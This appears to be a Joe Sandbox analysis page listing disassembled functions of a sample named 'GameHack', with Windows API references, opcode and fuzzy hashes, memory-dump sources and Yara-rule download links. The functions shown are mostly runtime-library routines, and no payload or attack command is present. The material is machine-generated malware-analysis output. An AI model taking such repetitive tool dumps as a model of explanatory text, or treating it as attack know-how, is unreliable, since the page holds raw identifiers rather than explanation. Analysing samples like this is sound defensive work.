Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: d677bdf461f40d22e3aa2680b6a4a76fffca0516505f89fc9a71638f00cbd846
Instruction ID: 0cb1e3a8b6131d4a5f9b325c2797e217cbb23c37d240e3406e9bf1b15ddcc3a3
Opcode Fuzzy Hash: d677bdf461f40d22e3aa2680b6a4a76fffca0516505f89fc9a71638f00cbd846
Instruction Fuzzy Hash: 4D01843118111865DB319B664C05BFA338CEF06755F0C5867F801F5261D755CB439663

Function 00EFAFF4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00EFB019

Strings

, xrefs: 00EFB05E

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: e5621a1b09a50fcea492b85f8a9b94e9c31f067e1f613195ab06c1f515b24485
Instruction ID: 73cfb2a907d68cffd8f048527af95c412483ca536a3586101c9d565ea883a2bf
Opcode Fuzzy Hash: e5621a1b09a50fcea492b85f8a9b94e9c31f067e1f613195ab06c1f515b24485
Instruction Fuzzy Hash: 7741197050438C9ADF218E24CC94BF7BBADEB45308F2414EDE69A97142D7359E45DF60

Function 00EFA72C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,3FE85006,00000001,?,?), ref: 00EFA79D

Strings

LCMapStringEx, xrefs: 00EFA73D, 00EFA747

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 7fbcb891a56737305be89bbc819277336d20f4bb103702de587f5bc0420e90ee
Instruction ID: 975afe7d8df2888e9ecfb146e185a8a3971fdd9b3d3460d65420d95e11deec68
Opcode Fuzzy Hash: 7fbcb891a56737305be89bbc819277336d20f4bb103702de587f5bc0420e90ee
Instruction Fuzzy Hash: DE01C27254421DBBCF126FA0DC05DAE7FA6EB08750F045165FE186A1A0CA729A21FB92

Function 00EFA6CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00EF9D2F), ref: 00EFA715

Strings

InitializeCriticalSectionEx, xrefs: 00EFA6E5

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: dc9f93257749c8c3cc6b29b57d399ffc25b705333b33975ce983a524c2bcd699
Instruction ID: 151b6deb7ea34d9cf5fbdc64c29183ddb73e3493f48b653816fa08a0f82a8085
Opcode Fuzzy Hash: dc9f93257749c8c3cc6b29b57d399ffc25b705333b33975ce983a524c2bcd699
Instruction Fuzzy Hash: 51F0E271A4521CBBCB117F60DC05CAE7FA5FF48720B049065FD092A2A0DA729E10FBA2

Function 00EFA56F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00EFA5AE

Strings

FlsAlloc, xrefs: 00EFA58A

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: f09a43f87be499589dec3ab23973f8544b333d1e9e64659b125c11348a12e333
Instruction ID: 03baae60bf334c14173701e6e23319bdec45d880e0ae0743a9aced14334c9fce
Opcode Fuzzy Hash: f09a43f87be499589dec3ab23973f8544b333d1e9e64659b125c11348a12e333
Instruction Fuzzy Hash: 77E0E5B0B4532C6BD2147B649C069BEBB94EB15B10B450165FD0D6B280DD719E00B6D6

Function 00EF329A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00EF32AF

Strings

FlsAlloc, xrefs: 00EF329E, 00EF32A8

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: 8df54c64459f000dfc7164a33a70973dadead71e5b68d746dce27dbae422ab8e
Instruction ID: 7f4c494f44466f758e4a63ffaf9dc2ad062a52a3d6f24a6022ca349a6e437286
Opcode Fuzzy Hash: 8df54c64459f000dfc7164a33a70973dadead71e5b68d746dce27dbae422ab8e
Instruction Fuzzy Hash: C9D05B3178167D6AD51032D56C03ABFBE848701FF5F450252FF087E2D295E2C95075D6

Function 00EFB350 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00EFAF1B: GetOEMCP.KERNEL32(00000000,?,?,00EFB1A5,?), ref: 00EFAF46

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00EFB1EA,?,00000000), ref: 00EFB3C4
GetCPInfo.KERNEL32(00000000,00EFB1EA,?,?,?,00EFB1EA,?,00000000), ref: 00EFB3D7

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: b75c3a44b5900963904e767e8431b270a8796f319828353ffcc0caa3360fa3a6
Instruction ID: a71d991502e4a0f1e5439ee81c449d6a025a0ea5f649ce6856bd9c509e35ac0e
Opcode Fuzzy Hash: b75c3a44b5900963904e767e8431b270a8796f319828353ffcc0caa3360fa3a6
Instruction Fuzzy Hash: 2F517BB0A0020D9FDB24DF71C8806BBBBE5EF40314F18A46ED2A6AB253E735D541DB90

Function 00EE2C42 Relevance: 3.1, APIs: 2, Instructions: 112COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00EE2DA4
__CxxThrowException@8.LIBVCRUNTIME ref: 00EE2DBC

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: 16828048afeec69fe0a4bb6700e94e385f666c5385bc004e4cf2f64575b41bc7
Instruction ID: d4f7e89be428eb931b5001a167f0171eca914f55fcdfd0d4b5fe4ef461ac65ef
Opcode Fuzzy Hash: 16828048afeec69fe0a4bb6700e94e385f666c5385bc004e4cf2f64575b41bc7
Instruction Fuzzy Hash: D94147B0A087C9ABD72CEE75D884799F7D8BF90308F14152EE75963142C774A888C796

Function 00ED1385 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED1385

Part of subcall function 00ED6057: __EH_prolog.LIBCMT ref: 00ED605C

Part of subcall function 00EDC827: __EH_prolog.LIBCMT ref: 00EDC82C
Part of subcall function 00EDC827: new.LIBCMT ref: 00EDC86F
Part of subcall function 00EDC827: new.LIBCMT ref: 00EDC893

new.LIBCMT ref: 00ED13FE

Part of subcall function 00EDB07D: __EH_prolog.LIBCMT ref: 00EDB082

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2f4ebdba6d7b20879b0f7f880dd1944817dc9e0efaf1e5b8285b5bebb37ba50e
Instruction ID: 5d789a77b12d788d52a1534f72e2d2f1189341b92a960225e24d41e890c0f341
Opcode Fuzzy Hash: 2f4ebdba6d7b20879b0f7f880dd1944817dc9e0efaf1e5b8285b5bebb37ba50e
Instruction Fuzzy Hash: DB4122B0805B44DEE724DF7988859E6FAE6FF18300F505A6ED2EE93282DB326554CB11

Function 00ED1380 Relevance: 3.1, APIs: 2, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00ED1385

Part of subcall function 00ED6057: __EH_prolog.LIBCMT ref: 00ED605C

Part of subcall function 00EDC827: __EH_prolog.LIBCMT ref: 00EDC82C
Part of subcall function 00EDC827: new.LIBCMT ref: 00EDC86F
Part of subcall function 00EDC827: new.LIBCMT ref: 00EDC893

new.LIBCMT ref: 00ED13FE

Part of subcall function 00EDB07D: __EH_prolog.LIBCMT ref: 00EDB082

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: beec9ad047d3b0ed23da8ba0e9decc7f1b13dc08cd457a7fcd704317beedb219
Instruction ID: b6f666cd9c82a98c1dda279f18fb0c0d6e0658b8c6e6e3ae933ddf4ee344cb9e
Opcode Fuzzy Hash: beec9ad047d3b0ed23da8ba0e9decc7f1b13dc08cd457a7fcd704317beedb219
Instruction Fuzzy Hash: 424112B0805B44DEE724DF7988859E7FAE5FF18300F505A6ED2EE93282DB326554CB11

Function 00EFB188 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00EF8FA5: GetLastError.KERNEL32(?,00F10EE8,00EF3E14,00F10EE8,?,?,00EF3713,00000050,?,00F10EE8,00000200), ref: 00EF8FA9
Part of subcall function 00EF8FA5: _free.LIBCMT ref: 00EF8FDC
Part of subcall function 00EF8FA5: SetLastError.KERNEL32(00000000,?,00F10EE8,00000200), ref: 00EF901D
Part of subcall function 00EF8FA5: _abort.LIBCMT ref: 00EF9023

Part of subcall function 00EFB2AE: _abort.LIBCMT ref: 00EFB2E0
Part of subcall function 00EFB2AE: _free.LIBCMT ref: 00EFB314

Part of subcall function 00EFAF1B: GetOEMCP.KERNEL32(00000000,?,?,00EFB1A5,?), ref: 00EFAF46

_free.LIBCMT ref: 00EFB200
_free.LIBCMT ref: 00EFB236

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: c901fa493080ed2fec60958a07e731972c8444c139dc7acac672b0143c7d30fe
Instruction ID: b0c1fda43042ed640e5978f689b63734d4e80cae615b66d1ff46a832d7f7033a
Opcode Fuzzy Hash: c901fa493080ed2fec60958a07e731972c8444c139dc7acac672b0143c7d30fe
Instruction Fuzzy Hash: D331F63190420CAFDB10EFA9C941BBDB7E5EF41324F255099E614BB2A1DB715D41CB40

Function 00ED971E Relevance: 3.1, APIs: 2, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00ED9EDC,?,?,00ED7867), ref: 00ED97A6
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00ED9EDC,?,?,00ED7867), ref: 00ED97DB

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c8f3362fd0d47b7843090375add476489f54d3e3c2e681e1f933dc47f9999521
Instruction ID: 9a8532e81ad2d46c35735780115fc8c47f2f8695c479a3a7699b35ddc36ce38a
Opcode Fuzzy Hash: c8f3362fd0d47b7843090375add476489f54d3e3c2e681e1f933dc47f9999521
Instruction Fuzzy Hash: 9D21F6B1510749AFD7308F24CC85BA7B7ECEB49768F00492FF5E5A2292C374AC469B61

Function 00ED9D62 Relevance: 3.1, APIs: 2, Instructions: 82timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00ED7547,?,?,?,?), ref: 00ED9D7C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00ED9E2C

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: e673213b11ac6eb7cd59fd2d24a3941828c748f52026f349bf5f1b69392b10d4
Instruction ID: 094616a8d485a052b1326ecc12c93fdd6d3d89fc4a55c6bfbbb8b333f3297cf1
Opcode Fuzzy Hash: e673213b11ac6eb7cd59fd2d24a3941828c748f52026f349bf5f1b69392b10d4
Instruction Fuzzy Hash: 9521D63115828AABC714DE25C851AABBBE5EF9570CF04181EF4D1A7242D329DA0DDB61

Function 00EFA458 Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,00F03958), ref: 00EFA4B8
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00EFA4C5

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: 810436f47af80095b674d5fe3de45fc800d71f0b82c02c0c58f960d3422c095e
Instruction ID: 78cd18f12aea65f88f51f6a0e53430a6367ef99c8ae768867967faf24cfa9142
Opcode Fuzzy Hash: 810436f47af80095b674d5fe3de45fc800d71f0b82c02c0c58f960d3422c095e
Instruction Fuzzy Hash: 4A112373A1112C8B9B269E28EC448BA7395AB8032471A4230EE29BF244EA70DC01D6D2

Function 00ED9B59 Relevance: 3.1, APIs: 2, Instructions: 57COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?,-00001964,?,00000800,-00001964,00ED9B35,?,?,00000000,?,?,00ED8D9C,?), ref: 00ED9BC0
GetLastError.KERNEL32 ref: 00ED9BCD

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 980fe444980f05e7f8ef95894eb5dfb144857302386b33737fdeca1cc423636a
Instruction ID: 2e0bee52005aad07cc333cee93342d5670f8b229ee133ed2b2ef40c98ae7edd4
Opcode Fuzzy Hash: 980fe444980f05e7f8ef95894eb5dfb144857302386b33737fdeca1cc423636a
Instruction Fuzzy Hash: 87010C313042159B8B08CE65AC849BEB399EFC0721B11662FF813A7382C671DC069B24

Function 00ED9E40 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00ED9E76
GetLastError.KERNEL32 ref: 00ED9E82

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 48a6094e467d16e081e23490efd2fceca9cd6116fe61c895026beadc8f358ee3
Instruction ID: db301a08d39775b4fbbb6d58a49e2ff8237ece755c3ceb31755fea1254fcccff
Opcode Fuzzy Hash: 48a6094e467d16e081e23490efd2fceca9cd6116fe61c895026beadc8f358ee3
Instruction Fuzzy Hash: A001B1713052046BEB34DF29DC44B6BB7D9EB88318F144A3FB546D3781DA71EC8A8610

Function 00EF8606 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00EF8627

Part of subcall function 00EF8518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00EFC13D,00000000,?,00EF67E2,?,00000008,?,00EF89AD,?,?,?), ref: 00EF854A

HeapReAlloc.KERNEL32(00000000,?,?,?,?,00F10F50,00EDCE57,?,?,?,?,?,?), ref: 00EF8663

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297422726.0000000000F32000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ed0000_GameHack.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 0304333daf2a8df518c3fc082bed9de7bcd75f4138b1513c7a503226604b4ada
Instruction ID: 39d8a00b4bf6b6a00da9e3139ffc970fe3f37e281fe9987cffee8d0850cf3b37
Opcode Fuzzy Hash: 0304333daf2a8df518c3fc082bed9de7bcd75f4138b1513c7a503226604b4ada
Instruction Fuzzy Hash: 50F0F63220111D66DB212A21AE01F7F379D9FE1BB4F26B116FB58FA291DF30C80095A4

Function 00EE0908 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00EE0915
GetProcessAffinityMask.KERNEL32(00000000), ref: 00EE091C

Memory Dump Source

Source File: 00000008.00000002.1297270263.0000000000ED1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00ED0000, based on PE: true

Associated: 00000008.00000002.1297245855.0000000000ED0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297308438.0000000000F03000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F0E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.1297333031.0000000000F31000.00000004.00000001.01000000.0000000B.sdmpDownload File
